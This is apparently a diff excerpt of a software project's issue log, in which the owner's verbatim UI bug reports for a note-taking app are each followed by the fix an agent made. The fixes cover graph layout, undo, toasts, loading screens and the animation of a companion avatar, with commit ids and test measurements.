+583. **The owner, 2026-10-05, verbatim.** "note popup menus are behind the
+     back to top button" Fixed (2026-10-05): an open note's action strip is
+     the menu's stacking context and sat at z 5, under the fixed button's
+     40; the strip (and a Library card's) now lifts to 45 while its menu is
+     open. menuovertop.js 4/4 (1440, 390; light and dark), FAIL 2/4 before.
+
+553. **The owner's decisions, 2026-10-05** (asked, answered; binding):
+     (a) Entity merge gets Undo: snapshot both entities and their mentions
+     before a merge, and Undo in the toast splits them back exactly.
+     Built 2026-10-05 (38debe1, `tests/test_entity_merge_undo.py`).
+     (b) The undo histories of each board, map and document survive a
+     reload (the last ~100 steps, stored; WHITEBOARD_PLAN decision 17 is
+     amended). Built 2026-10-05: IndexedDB, `undo-store.js`; decision 17
+     as amended; `mmdoc1005-undoreload.js` 4/4.
+     (c) Status labels app-wide are a tinted pill without an edge, matching
+     the meta chips.
+     (d) The dashboard's map widget is "dynamic depending on map size and
+     scale": the card's height and the map's scale follow the map's shape,
+     a small map at a readable size, a tall one in a taller card up to a
+     limit, then fitted whole. Built 2026-10-05: the Boards & maps widget
+     draws its busiest board large (`dashMapFeature`, dash-boards.js, lazy),
+     96px to 168px for six topics or fewer, up to 320px otherwise, fitted
+     whole past that; `mmdoc1005-dashmap.js` 5/5 at 1440 and 390.
+     Placed: the next free Opus, after the boot-JS split lands (budget).
+     (c) built 2026-10-05 (the UX fix agent): `chip item-label` is the
+     `--chip-bg` tint at `--radius-pill` with `border: 0`, its tones tints
+     (accent, ok, warn); the Files tiles' "Read · N words" and a chat
+     attachment's reading badge joined it; DESIGN.md's row says so and
+     `tests/test_badge_recipe.py::test_a_status_label_is_a_tinted_pill_without_an_edge`
+     holds it. `badges.js`: 53 labels, one signature (11.2px/500, 19px tall,
+     8px padding, 999px radius, no border, a fill). (a), (b) and (d) are open.
+     Fixed (2026-10-05): (a) entity-merge Undo, 38debe1; (b) undo histories kept across a reload in IndexedDB, b36cc19; (c) edgeless status pills with a ratchet, 9781258; (d) the dashboard map drawn at its own shape, d873a3f.
+
+588. **The owner, 2026-10-05, verbatim.** "I dont think these chat agent
+     step circles and lines are exactly aligned". Fixed 2026-10-05: the rail
+     and each node took their own offset and missed by 0.76px; both now
+     derive from one `--rail-x` (02-chat-graph.css), railalign.js 4/4,
+     worst 0.01px.
+
+593. **The owner, 2026-10-05, verbatim.** "the warning message appeared
+     before the ai had even finished thinking" and "it disappeared after the
+     response finished tho" (screenshot: Ask, "Only 2 of 6 sentences here
+     come from your notes" under Thinking while "Consulting the stars" ran).
+     Fixed 2026-10-05: it was the last answer's notice, a sibling of
+     `#ai-answer` nothing cleared; `clearAskAnswerFoot` takes it now
+     (tests/test_answer_support_cleared.py).
+594. **The owner, 2026-10-05, verbatim.** "the response is great but it only
+     mentions one of the sketches not all the sketches" (Ask, "What have I
+     saved about sketches?"; the thinking called notes 1 and 3 "too vague").
+     Fixed 2026-10-05: the prompt gave each note its text and category only,
+     and two sketches are one word plus `sketch.png` and `#Sketches`. Each
+     note now carries its tags and its files with their stored captions
+     (routes_chat `_files_on`, librarian `_tags_files_hint`, defanged);
+     tests/test_ask_sees_tags_and_files.py. Not verified against a real
+     model's answer.
+
+566. **The owner, 2026-10-05, verbatim.** "the whiteboard help popup is still
+     cooked and needs a redesign" (screenshot: the empty board's help card,
+     the Move around column's key pills clipped at the right, long labels
+     printed over their pills, the description cut off). Placed: the
+     whiteboard agent, as the board's searchable shortcut sheet (was UX-03).
+     Fixed 2026-10-05 by the whiteboard agent: the help sheet rebuilt (cf17b52), help sweep 88/88.
+570. **The owner, 2026-10-05, verbatim.** "when I open comments on the
+     whiteboard, the new comment form is permanently showing below, there
+     should be a new comment option below for it to show" Placed: the
+     whiteboard agent.
+     Fixed 2026-10-05 by the whiteboard agent: comments open on the thread with a New comment row below it (07ea182), wbcomments 26/26.
+576. **The owner, 2026-10-05, verbatim.** "this menu's elements arent aligned
+     vertically" (screenshot: a shape's context bar, its Width input, Solid
+     select, swatches and Filled toggle at different heights and centres).
+     Placed: the whiteboard agent.
+     Fixed 2026-10-05 by the whiteboard agent: every control on the bar's centre line (017ac3d), barline 19/19 at 1440 and 390, light and dark.
+
+579. **The owner, 2026-10-05, verbatim.** "switching the graph layout does
+     nothing" (the gear's Layout: Force, Tree, Radial, Arc).
+     **Fixed 2026-10-05**: `layoutHierarchy` (graph.js) built a note's
+     child list only on reaching it, so it assumed a reply came after the
+     note it answers; `/graph` now reads newest first (the ARCH-05 index the
+     query is planned on), so on any notebook with a thread Tree, Radial and
+     Arc threw before drawing. Every list is made first; a looping reply
+     chain is filed under its category. `gl1005-graphlayout.js` on 142 notes:
+     before, every pair of layouts 0 apart and three TypeErrors; after,
+     21 to 110 apart (axis-normalised, of 100), no errors, canvas and SVG,
+     light and dark, 1440 and 390. `tests/test_graph_layout_order.py`, which
+     also runs the head's own fix (seeded lists, `replyLoops`), kept as the one
+     implementation; graphlayoutorder.js 3/3, 0/3 on the old code.
+
+578. **The owner, 2026-10-05, verbatim.** "this section in the chat sidebar
+     looks awkward" (screenshot: the Chats head, a large filled New button,
+     a lone wide Recent select below).
+     **Fixed 2026-10-05**: one head row in the Notes sidebar's shape: "Chats",
+     the sort as the icon-and-caret picker (`data-select-icon`), New chat a
+     ghost icon button, the collapse toggle. Before: New filled (81px), the
+     sort a 144px field on its own row. `gl1005-chathead.js`: one row, 0px
+     between centres, every control 32px, nothing filled, no overflow or
+     overlap, title whole, at sidebar widths 170, 200, 216, 230, 300 and 346
+     (the 520 cap at 1440); at 13rem and under the sort leaves the head (it
+     cut "Chats" to 9px at 170). `tests/test_ui_recipes.py` holds the shape.
+
+581. **The owner, 2026-10-05, verbatim.** "on the mindmap, the solid and
+     dashed bar are exactly the same on mind map nodes" (seen before 569's
+     fix was pushed).
+     **Fixed 2026-10-05**: verified 569 on the head (mmdoc1005-spinebar.js
+     36/36), then swept wider: `gl1005-mmbar.js` photographs the bar edge of
+     every Box (Rounded, Pill, Box, Ellipse) x free, pinned (the dashed box),
+     core and filled x tree-right, tree-down and both sides, Solid against
+     Dashed. Free, pinned and filled were already right; **core was not**:
+     a border's gaps show the element's own ground, a core topic's ground is
+     `--wb-branch`, the bar's colour, so Dashed drew solid (0% gap lines on
+     a core ellipse, pill or box, 2 of 16 core cases told apart). A dashed
+     bar now clips the ground to the padding box. After: 64/64 light and
+     dark, Solid 0% gap lines, Dashed 21% to 58%, the two photographs 3% to
+     21% different.
+
+587. **The owner, 2026-10-05, verbatim.** "when I click nodes on the
+     graph, it moves the graph slightly??"
+     **Fixed 2026-10-05**: d3-drag's `start` fires on the press, and the
+     canvas renderer pinned the note, froze the map but its neighbours and
+     posted `drag start` there, which raises the worker's alphaTarget: a
+     click reheated the layout. The press now only remembers itself
+     (`GC_DRAG_THRESHOLD_PX`, 3); past it the drag begins as before, and a
+     press that never travels is a click that tells the worker nothing.
+     `gl1005-graphclick.js`, ten clicks on a settled map: other notes moved
+     15 to 65px before, 0 after; the view 0 both times; every click still
+     opens the note's card; an 8-step drag still carries the note.
+     `tests/test_graph_click_threshold.py`.
+
+586. **The owner, 2026-10-05, verbatim.** "the graph is a little jittery
+     when nodes move around or adjust position"
+     **Fixed 2026-10-05**: the worker ticks on its own timer (16 ms, or the
+     tick's own cost on a big map) and the canvas paints on the display's,
+     so a note moving evenly in the simulation moved 2, 0, 1 steps across
+     frames. Each tick is now kept with the one before it and a frame draws
+     the point between them its time says (`gcGlideStep`), over the smoothed
+     tick interval: one interval late, at an even speed. Checked and not the
+     cause: no direction flips (2 to 5% of steps, the settle's own), no
+     camera moves mid-settle (the fits are the 500 ms eased ones), FE-04's
+     batching draws at exact positions. `tests/test_graph_glide.py` runs the
+     two functions under node, frames at 60 Hz: ticks every 16 ms (4 ms
+     jitter) gave a per-frame step variation (cv) of 0.34 and 8 still frames
+     of 179, now 0.13 and 0; every 70 ms (a big map), 1.78 and 136 still,
+     now 0.19 and 0. Not measured in a browser: headless frames here run at
+     12 to 27 fps under load 19, which hides the beat (`gl1005-graphjitter.js`
+     reads the motion when the box is quieter).
+
+584. **The owner, 2026-10-05, verbatim.** "no spacing between the message and
+     show it link on this notification" ("Finished reading this file.Show
+     it").
+     **Fixed 2026-10-05**: one toast recipe (`.toast-msg`, `toastActionButton`,
+     the close, one `--space-3` gap, controls `--toast-ctl` tall with the
+     message's first line centred on them; toasts 24rem); measured 0px
+     before, 8px after between the words and every action, every control
+     within 0.5px of the message's first-line centre
+     (`scratchpad/ui-sweeps/notif1005-sweep.js`, six toast kinds at 1440
+     and 390, light and dark). No caller concatenated a link into a
+     message: the glued "Show it" was the progress toast's bare link.
+
+585. **The owner, 2026-10-05, verbatim.** "the elements in notifications are
+     clashing, misaligned, and/or poorly spaced again. and that notification
+     I mentioned just before isnt available for me to access the link in the
+     notifications. all notifiactions that contain links or buttons need to
+     show and be accessible in the notifications panel"
+     **Fixed 2026-10-05**: one row recipe (dot, icon, text, a side column
+     where the time and the two controls share a cell; every column's first
+     line the title's): dot, icon, title and controls 0px apart in centre
+     (the controls were 4px low and over the text), 8px padding on all four
+     sides (an unread row was 24px left). Every `toastAction` and
+     `toastProgress` action is recorded with its label (`keepToastAction`):
+     openers carry `go` and resolve by id when pressed (a gone target says
+     so); one-shot actions read Done once pressed and Expired after a
+     reload; an Undo is live while its `pushUndo` entry is on the stack, or
+     five minutes. The sweep fires five kinds, finds each row's button and
+     presses it (Undo ran once and left the stack; the opener found its
+     note again after a reload), 4 of 4 runs.
+     Decision taken: error toasts' "Report this" and the server-down
+     banner's Retry are not recorded (Settings, Logs has the Support
+     bundle; the banner stays up while it is true).
+
+540. **The owner, 2026-10-05, verbatim.** "one of the feminine atlas blinking
+     animations has MASSSSIVE eyebrows."
+     Not reproduced (2026-10-05): the live companion drawn at 6x, feminine
+     and masculine, six poses by nine moods/acts, the blink lids sit within
+     2px of the eyes and the closed-eye stroke and lashes are their usual
+     size; mid-blink frames looked at. Needs the owner: a screenshot of the
+     moment, or which pose/mood it was in (sitting, lying, drowsy, startled).
+     Then (verbatim): "can you fix the female atlas blinking animation??"
+     Fixed (2026-10-05, the Atlas motion agent): found at 6x frame by frame
+     (scratchpad/ui-sweeps/atlasmo1005-blinkshots.js): the companion's blink
+     faded in a skin patch 1.3 times the eye's size with a 1.8-wide ink arc
+     across the eye's middle and two lashes flicked up, never at the eye's
+     own scale (0.9 hers, 0.84 his), and the lids layer did not breathe or
+     sway with the face (0.9px off the eye at 1x); halfway through the fade
+     the ink arc sat over the open eye as a dark band, a heavy brow. Now a
+     lid in the eye's own group, clipped to the eye, comes down a third, two
+     thirds and shut over 120ms, holds 40ms and goes back up over 160ms,
+     three frames each a root of its own whose opacity alone changes (the
+     compositor's: no paint), its edge the eye's own lower curve with a 1.1
+     lash line, her lashes pointing down once it is shut; the lids breathe
+     and sway with the face (the same matrix to the pixel); a drowsy blink
+     is slow (380, 520, 520ms); the drawings' blink is the lid sliding down,
+     not a squash. atlasluster.js `blink`: 144 cases (both
+     looks, six poses, every open-eyed mood and drowsy), 3,840 frames: brow
+     movement 0, stroke-width spread 0, the shut lid covers the eye in every
+     case, 1.7% of liner points (88 of 5,184) still differ from bare skin
+     when shut.
+554. **The owner, 2026-10-05, verbatim.** "the feminine atlas whisps should
+     wrap the body a bit more instead of all of it sitting in front. also the
+     lower body still looks too sharp like a tooth. the whole avatar needs to
+     ahve dynamic and organic movement. think of it like an azur lane
+     character" Placed: with 550, the Atlas agent.
+     Partly done (2026-10-05): the wisps wrap behind the body and the hem is soft; the layered lifelike motion is the follow-up agent's, with 564.
+     Fixed (2026-10-05, the Atlas motion agent), with 564: secondary motion
+     on the compositor on clocks that never line up (breath 3.7 and 4.4s,
+     float 5.3, wisps 6.8, the dress's wind 7.1, sway 7.2 and 9.4, tail 8.3):
+     the hair is a layer of its own that trails the body's sway a beat
+     behind; her tail is drawn in two halves and the tip half sways a
+     quarter behind the root (atlasluster.js `wave`: the tip's heading lags
+     the root's by 36.5 degrees of the cycle and swings 4.49 degrees to the
+     root's 1.38, the halves 0.15px apart at the joint); the hem follows a
+     change of pose 70ms behind the body on the spring.
+556. **The owner, 2026-10-05, verbatim.** "and a bit more texture can be
+     added to the lower body as well. make it celestial and majestic and
+     magical and attractive and flowy" Placed: with 550, the Atlas agent.
+     Partly done (2026-10-05): the gown's nebula, sheen and glowing hem; the flowing motion is with 564.
+     Fixed (2026-10-05, the Atlas motion agent), with 554 and 564: the dress
+     flows (the hem follows each change of pose a beat behind and settles on
+     the spring, the wave down her tail, the hair's trail), and his lower
+     body wears the same celestial material as a cloak.
+564. **The owner, 2026-10-05, verbatim.** "can you fix or redesign the male
+     main body on the atlas avatar instead of just being an oval?? also fix
+     how the arms connect to the atlas bodies and how they are used in
+     transitions between places and positions, same with the lower body,
+     animate everything to be smooth and boilogically lifelike." Placed:
+     with 550, the Atlas agent (masculine torso, jointed arms from the
+     shoulder line, joint-angle blends with follow-through, lifelike idle).
+     Then (verbatim): "the arms for both the male and female atlas".
+     Partly done (2026-10-05): his V-taper torso and both looks' hanging arms (upper arm 13.4 degrees off vertical, elbow 166 and 165, wrist 0.54 and 0.52 of shoulder width). Open: joint-angle blends and IK in avatars.js, counter-phase swing, head lag, his cloak, the travelling hair and tail motion. The follow-up Atlas agent.
+     Fixed (2026-10-05, the Atlas motion agent): each arm is a chain,
+     shoulder, elbow, wrist (atlas.js `atlasArmPath`, the rig): the elbow
+     and wrist bend the outline itself, so the arm is one smooth stem at any
+     bend (the elbow's two handles on one line, tests/test_atlas_shape.py);
+     where an arm should be is still every CSS pose, act, mood and gesture,
+     read off an empty probe, and the rig eases there on springs timed by
+     the move (250 to 500ms), drawing back first on a move over 40 degrees
+     and settling past it, the shoulder 30ms after the body, the elbow 80,
+     the wrist 130, the hand trailing a fast swing; a wave lifts the forearm,
+     the bell and the star map straighten the arm, folded and clasped arms
+     bend at the elbow; the arms swing in counter-phase while it travels;
+     the head (and the hair a third further) lags a change of pose and
+     catches up. atlasluster.js `rig`, 16 transitions each look: largest
+     change of a joint in one frame 11.5 degrees (hers) and 12.8 (his, a
+     half turn and more in all), limb flicker 0, swing correlation -1, head
+     lag up to 4.6 degrees; the rest pose is unchanged (`arms`: 13.4
+     degrees off vertical, elbow 166.6 and 165.2, shoulder seam step 12.9
+     and 9.2 of 255). His lower body is a cloak: the main wisp as wide as
+     the torso where it leaves it, swelling to 18.4 a third of the way down
+     and tapering along its S to a soft hem, the sub-wisps its tatters, in
+     her dress's material (the flow's paint, nebula, two sweeps of light, a
+     rim light, star dust, glints, the hem dissolving into motes). `cap`
+     fixed: its arc now bulges outward (it notched every capped tip).
+     Reduced motion or Off: a pose is set at once in one frame, no blink and
+     none of the new loops. Frame cost (atlasluster.js `cost`, five runs
+     interleaved with the version before, on a box at load 12 to 25 from
+     other agents): her idle companion 184ms of main thread per 8s against
+     137 (runs 56 to 536 against 53 to 379, overlapping), the 208px mark
+     6,570 against 6,376 (+3%). Not shown within 10% for the figure at this
+     noise; the blink as first built (a lid repainted every frame, about
+     90ms per 6s, atlasmo1005-costdbg.js) was rebuilt as compositor frames,
+     after which the figure with blinks and the rig off measures 10 to 17ms
+     per 6s.
+575. **The owner, 2026-10-05, verbatim.** "can you have the lower body of
+     both atlas avatars change around in position and and how it is sitting
+     ect with different variations and changes based off the current action
+     or behaviour??" Placed: the Atlas motion agent, with 564 (a lower-body
+     pose per state, small random variants, blended with follow-through).
+     Then (verbatim): "dont forget that both atlas avatars have a tail as
+     well, same with the hair, and the nebular stream. they all need to be
+     dynamically animated and changed": both looks' tails, hair and nebula
+     streams, per state, with secondary motion.
+     Fixed (2026-10-05, the Atlas motion agent): every flowing part of both
+     looks (the dress or cloak with her wisps, the tails, the hair, the
+     nebula stream) is a box of its own that takes a pose per state, set by
+     the rig as a compositor transition (atlas.js `ATLAS_LOWER_STATES`,
+     `ATLAS_HAIR_STATES`, `ATLAS_NEB_STATES`): idle (a new variant every 8
+     to 14 seconds), moving (trails against the way it goes and stretches),
+     sitting (pools and drapes to one side), lying or asleep (curls round),
+     a gesture (a lift with a flick), thinking (a slow curl), happy (a
+     bouncy flick), sad or drowsy (droops), startled (a snap, then settles);
+     2 to 4 variants per state picked at random, 250 to 600ms with curves
+     that overshoot and settle (a slow curl or droop 800 to 900ms), the
+     tail and the hair a beat behind. Both tails carry the travelling wave,
+     the stream's near half drifts a beat behind its far half, the hair
+     trails the sway, his cloak catches the hem's wind on its own 6.3s
+     clock. atlasluster.js `lower`, both looks, nine states: every part
+     differs between all 36 pairs of states (IoU under 0.97; the closest
+     pair 0.84 dress, 0.80 tail, 0.95 hair, 0.54 stream for her, 0.88,
+     0.83, 0.88, 0.64 for him), variants of one state differ (largest IoU
+     0.96), a change of state moves the dress or the tail at most 5.8 and
+     12.3 degrees a frame (the startle's snap); `motion`: each part runs a
+     loop with motion on, both looks, and none of the new ones under
+     reduced motion or Off, where each state's first pose is set at once.
+
+577. **The owner, 2026-10-05, verbatim.** "when loading into the app, the
+     companion or atlas's head goes large then small then large again then
+     settles on the normal size. also loading up the app is very laggy or
+     visually slow. it is visually not clean and glitchy even though it may
+     not be. can you smoothen it or do some ux shenanigans to make it
+     cleaner??" Placed: a smoothness agent (boot choreography, the
+     companion's mount) and the Atlas motion agent (the drawing at rest).
+     **Fixed 2026-10-05 (514e85c).** Three causes, each measured by
+     `scratchpad/ui-sweeps/smooth1005-boot.js`: Atlas's hello nod
+     (`@keyframes atl-nod`) replaced the head's resting transform and drew it
+     at full size, a third larger, for 0.9s (head scale 0.74, 0.96, 0.74;
+     now steady, under 2% a frame); every entrance squashed or grew the
+     figure (1.06, 0.97, 1, 1.07, 0.98, 1 across; now a move and a fade);
+     and it entered under the lock screen. The boot is one curtain lifted
+     once over a drawn first tab (the splash had cut, never faded, and
+     stayed in the page); visible layout shift at boot 0.073 (sign-in off)
+     and 0.025 (after the password) to 0.
+     Then (ffccc03) on a notebook of 300 notes the dashboard's widgets
+     moved for a second as each filled (0.12 after the curtain, 0.26 on
+     every revisit): the grid now waits unseen for them, 1.2s at most, and
+     fades in; the curtain waits on the same promise. 1440 and 390, light
+     and dark, reduced motion: visible boot CLS 0, the head's largest
+     frame-to-frame change under 1%.
+580. **The owner, 2026-10-05, verbatim.** "the atlas companion and app in
+     general is ever so slightly laggy. I think opening pages and between ui
+     views like tabs, pages, popups, features like the graph etc need to be
+     more smooth in transitions and cheap to hide the ugly loading glitches."
+     Placed: the smoothness agent, with 577.
+     **Fixed 2026-10-05 (87cca44, b546bc7).** `smooth1005-tabs.js`: a tab
+     switch started its page at opacity 0, 3 or 4 blank frames on 13 of 14
+     switches, now 0 (from 0.4 over `--motion-base`); every popup gets one
+     way in (scrim `--motion-base`, card a step up from 0.985 over
+     `--motion-slow`); Graph, Library and Documents load their first visit
+     under one page-sized skeleton; late parts no longer push the page
+     (Library Files 0.27, Chat 0.015, Timeline 0.014 to 0.002, Settings
+     0.010 to 0.005); the companion's paced animations hold for the 400ms a
+     view takes to arrive. Not verified: a real trackpad, the desktop
+     window's own frame rate.
+582. **The owner, 2026-10-05, verbatim.** "bro's just perched on nothing in
+     the mindmap. the companion keeps being left floating in places on
+     various pages and sub tabs and tabs" (screenshot: the companion sitting
+     in the air on a map's canvas). Placed: the smoothness agent (a perch is
+     re-checked on every view change, pan, zoom and popup; never in the air).
+     **Fixed 2026-10-05 (e7d0d20).** `smooth1005-perch.js` (every tab and
+     sub-tab, a map and a board opened, panned, dropped on and zoomed,
+     popups, a resize): 9 of 29 steps left it perched on nothing on the
+     base (the mind map after a zoom, as in the screenshot; the Library's
+     AI skills on a hidden dock), 0 of 29 now. A perch is asked of the page
+     under it (`nameMarkBuddySupported`), canvas content is never one.
+
+597. **The owner, 2026-10-05, verbatim.** "when loading the app after
+     starting it up, after the loading screen, it goes to this blank
+     dashboard for a couple seconds the[n] goes to the lock screen".
+     Fixed 2026-10-05: a token kept from before a server restart was used to
+     draw the dashboard (every widget "Couldn't load") before a 401 called
+     the lock. `refreshMediaSession` now says whether the token is live and
+     `initAuth` goes to the lock screen first. stalelock.js: base saw failed
+     widgets and no lock in 6s; now straight to the lock.
+
+603. **The owner, 2026-10-05, verbatim.** "also I want to be able to reset
+     the highlights on the quick access back to default or at least the
+     first one being auto highlighted". Fixed 2026-10-05: Customise has
+     Reset highlights once any colour is chosen (clears the colours, keeps the
+     tiles; the first is highlighted again); help names it.
+604. **The owner, 2026-10-05, verbatim.** "it didnt intext number reference
+     the referenced notes??" (Ask, the three sketches: only note 3 carried a
+     marker; notes 1 and 2 read "No note says this"). Fixed 2026-10-05: the
+     grounding read each note's text only, and those two are a word and a
+     picture; `_grounding_candidates` now reads the files and captions the
+     prompt carries (tests/test_ask_sees_tags_and_files.py). Not verified
+     against a real model's answer.
+605. **The owner, 2026-10-05, verbatim.** "the ask subtab is very thin in
+     width". Fixed 2026-10-05: a sub-tab is at least 4.5rem; Ask measured
+     50px beside 80 to 133px, now 72px (1440).
+
+598. **The owner, 2026-10-05, verbatim.** "the loading screen on features
+     like the graph tab and library is a blank screen with a horizontal line
+     in the middle which if it lasts as long as it did for me right after the
+     update (its faster now), then it might have people thinking it is
+     broken so needs a better loading screen and to be cleaner." With 596's
+     "some skeleton loaders are missing like on the dashboard". Placed: the
+     next agent slot (page skeletons for Graph, Library, Documents, the
+     dashboard's widgets; a named, moving loading state).
+     Fixed 2026-10-05: the loading placeholder sat 49px wide in a centring page; each lazy page now draws its own outline skeleton, named after 400ms (loading598.js 92/92; tests/test_lazy_skeletons_598.py).
+602. **The owner, 2026-10-05, verbatim.** "every time I go off the dashboard
+     and go back on it, it is empty for a second then loads :(" Placed: with
+     598 (loading states), next agent slot.
+     Fixed 2026-10-05: returning to the dashboard keeps the old widgets and swaps each in when redrawn: 10 empty frames to 0.
+
+611. **The owner, 2026-10-05, verbatim.** "I started the tour from the
+     settings and it turned my generative bg art on except the setting is
+     off?? i think it was the tour that did it??" (screenshots: Settings,
+     Animated background off; the dashboard showing the generative
+     background anyway.)
+     Fixed 2026-10-05: `startBgArt` drew whatever its caller asked (the power
+     saver, a theme, a resize restart the pictures); it now stops when the
+     art is off. bgartoff.js: base 1 canvas with the setting off, now 0.
+
+613. **The owner, 2026-10-05, verbatim.** "the graph doesn properly fit to
+     the area and showing or not showing panels" (screenshot: the map off to
+     one side of its card). Fixed 2026-10-05: the card's ResizeObserver only
+     redrew; it now frames an untouched camera again and keeps a moved one's
+     middle in the middle. graphfit.js: base 200px off-centre after a panel
+     closed, now 0.
+
+589. **The owner, 2026-10-05, verbatim.** "in the quick access, only the new
+     note link widget is a different colour. should the one in the first
+     position be highlighted by default with the option to highlight the
+     others other colours too??" Decision taken (recommendation): yes; the
+     first tile carries the accent by position, not by being New note, and
+     each tile's menu offers a tint from the note colour set. Placed: the
+     quick-access and gutter agent.
+     Fixed 2026-10-05: the first Quick access tile is highlighted by position;
+     each tile's menu offers the accent, one of twelve category colours or
+     none, label and description at 4.5:1 on every colour (5c14a59).
+590. **The owner, 2026-10-05, verbatim.** "can you redesign and make this
+     line numbers column cleaner and more modern and professional?? this is
+     the one in the capture a note subtab but also in the other similar
+     sections like the note edit form and others" (screenshot: a boxed gutter
+     with its own rounded card edge and a heavy "1" beside the composer).
+     Placed: the quick-access and gutter agent.
+     Fixed 2026-10-05: line numbers lose the boxed column in Capture, the note
+     edit form and documents: muted tabular figures a size under the text on
+     each line's baseline, the caret's line brighter (1568947).
+591. **The owner, 2026-10-05, verbatim.** "the regular companion enlarged
+     panel view has no life to it like with atlas and the companion itself"
+     (screenshot: Profile, the companion's enlarged dialog, a still figure
+     over "Its own face, read from its name"). Placed: the Atlas motion agent.
+     Fixed 2026-10-05: a face's large view moves like the companion (weight
+     shift, head sway, arms on clocks, eyes to the pointer), 7 of 40 parts
+     moving over 2s against 3 (d66b808).
+592. **The owner, 2026-10-05, verbatim.** "these badges and metadata dont
+     have their icons vertically aligned with their text, probably the case
+     elsewhere as well" and "same here as well" (screenshots: the Fits and
+     Installed badges, a note's meta row: category dot, 100%, Add tags, Tag
+     with Atlas, "74% similar", "#Sketches"; link chips beside a boxed "+3
+     more links" in another shape). Placed: the icon alignment agent.
+     Fixed 2026-10-05: an icon beside words sits on the words' cap-height
+     centre in the drawing font; on Windows icons were up to 1.7px off
+     (5afe089, 4111aa2). The sweeps agree since 4a2dfaf: badgealign.js
+     measures the cap-height centre too (it read -1.5px against INBOX 503's
+     x-height band, -0.5px against the capitals); inkalign.js retired.
+595. **The owner, 2026-10-05, verbatim.** "why are new libraries off the

+     various features need multiple libraries or dependencies in the packages
+     settings with the ability to install/uninstall/reinstall individual ones

+     (`core/extras.py`) stay the way a feature takes a library; add named
+     bundles, bulk install/uninstall/reinstall with per-package progress,
+     reinstall per extra, version and size per row. With it: pictures in the
+     Word export on the existing `docx` extra (FEAT-18). Next agent slot.
+     Fixed 2026-10-05: Packages has bundles (Documents, Vision, AI, Voice,

+     Placed: next agent slot (Opus, design): Settings docks and popups onto
+     the modern dock recipe, one consistent style everywhere.
+     Fixed 2026-10-05: every Settings pane head is one 50px sticky bar (title, section links, '?'), the AI skills dock one row at 1100+, every dialog's button row 32px with ghosts first and the filled action last at the right (settingsheads.js, popupinv.js).
+606. **The owner, 2026-10-05, verbatim.** "something about the design,

+     and popups design agent's queue (599), as the same recipe pass.
+     Fixed 2026-10-05: the note edit form is one composition: one writing surface, tag chips, a category chip, a foot of Attach a link, Cancel and Save; boxed buttons 3 to 0, 554 to 507px tall at 390 (noteeditflow.js 6/6).

+     Placed: the Atlas agent, with 600 and 601.
+     Fixed 2026-10-05 (dc6237a): her arms turn about her own shoulder roots, inside the torso; atlas612-shoulder.js, both looks, 20s idle and every pose and gesture: root gap 2.5px before, 0 after (slide 0.38 to 0.86px).

+     Fixed 2026-10-05: her seam (0c7b64b, atlas615-join.js worst step 6.29 to 0.57px at 2.2x); the sleep chain (cc2f11e, lying step 3.35 to 0.22px); the eyes (f8d82a4, atlas619-eyes.js blank 464ms to 0); the large view (f7d77c7, floats free, still at most 935ms at 1440); an act eased into (f7d77c7). Left: laughing's end, a 3px move over three frames under the stepped clock, in archive/agent-remaining/atlas-1005.md.
+
+623. **The owner, 2026-10-05, verbatim.** "can the atlas agent also animate
+     the props and icons as well for various actions and behaviours??"
+     Placed: the Atlas agent (here, the INBOX at its cap): each prop and
+     icon Atlas holds or shows moves with the hands and body and has its own
+     small motion (a book's pages, a lamp's flicker, sleep's Zs drifting,
+     thinking marks pulsing), still under reduced motion, measured attached
+     at its grip every frame.
+     Fixed 2026-10-05 (b6f93a8, 1189acc and the ground and icons commits): eleven props and the startle's "!" loop about their grips while shown; atlas623-props.js grip gap 0px every frame, own motion 0.2 to 2.6px or 0.2 to 0.8 opacity, none under reduced motion. The Zs, thinking dots, hearts, tears and sparkles already moved (the CSS).

+     Fixed 2026-10-05, by the existing sweeps (INBOX 503, 592 had built the
+     recipe): `iconalign.js` over 9 views at 1440 and 390, light and dark,
+     default font and `FONT=segoe` (the owner's vertical metrics): 26 pairs
+     over 1px before, 12 after, and 14 before and 0 after in Segoe. The one
+     real outlier was the Timeline row's mark, 1.2px (Segoe 2.2px) above its
+     title: the title was the one item left centred in a track taller than
+     itself (`align-content: center` and the title start-aligned, 7 of 22
+     pairs now 0). The "Installed" badge is within 0.5px painted: DPR 1 ink
+     0.5px below the capital's centre at four sub-pixel phases, 0.17px at 3x;
+     the 1.17px `iconalign.js` still prints for it (and the search result
+     chips) in the sandbox font is the sweep reading a fractional box against
+     a snapped baseline, not paint, and reads 0.95px in Segoe. Not verified:
+     Windows' own rasteriser at 125% and 150% scale.

+     **Fixed (op3-1005).** Body, rings, swirls and the resize reset landed
+     with 600 and 612; the last of it, the tail held still: atlas601-tail.js,
+     stepped at 60fps over 60s, longest tip spell within 0.75px 1,100 to

+     frame, the way a move does (`wbUpdateLinkedSketches`);
+     `scratchpad/ui-sweeps/wbrotatelinks.js` FAIL before, PASS after (the

+     open over the dashboard on "Loading the embedding model".** "is there a
+     way to not have this show up or to show up minimised every time I log

+     through table top row is a little hard to read when scrolled down, maybe
+     make it opaque??" Fixed: `background-color: var(--bg)` was invalid
+     (`--bg` is a gradient), so the sticky head and the feed's bucket headers
+     had no base; one `background` shorthand with `--bg` as its last layer.
+     Measured: computed background-image now has the opaque base layer, dark
+     and light.
+
+657. **The owner, 2026-10-05, verbatim, with a screenshot of the map's left
+     rail.** "I cant select on any of the other left sidebar subtabs on the
+     mindmap other than the library" Fixed: a map reached from the board
+     picker or made by New board kept the board's rail (Notes, Layers, Pages),
+     which a map sends back to Library; the rail's kind is now set in
+     `fetchWhiteboardState`. `maprail657.js` 4 FAIL before, PASS after;

+658. **The owner, 2026-10-05, verbatim.** "I modified dragged the curve of a
+     mindmap link and I couldnt ctrl z undo it" Fixed: the drag wrote each
+     frame's bend into the topic, so the undo snapshot held the new curve;

+
+651. **The owner, 2026-10-05, verbatim.** "Also like subtle line highlighting
+     in the document editor when the line numbers are showing??" Placed:
+     Sonnet agent, with 652 (DOCUMENTS_PLAN 21).
+     **Fixed 5725426.** `highlightActiveLine()` rides with the gutter in the
+     documents editor and the note surfaces, so with numbers off no line
+     carries `.cm-activeLine`; the wash is `--hover-veil`, shown while the
+     editor has the focus. Measured (`activeline.js`): numbers on, computed
+     background rgba(31, 36, 48, 0.07) light and rgba(255, 255, 255, 0.09)
+     dark, body ink over it 14.94:1 and 10.73:1; numbers off, 0 active lines.
+652. **The owner, 2026-10-05, verbatim.** "Whole line copying or cutting when

+     taken: VS Code's rule, copy or cut with an empty selection takes the
+     whole line. Placed: Sonnet agent, with 651.
+     **Fixed 981cb66.** CodeMirror already took the whole line inside the
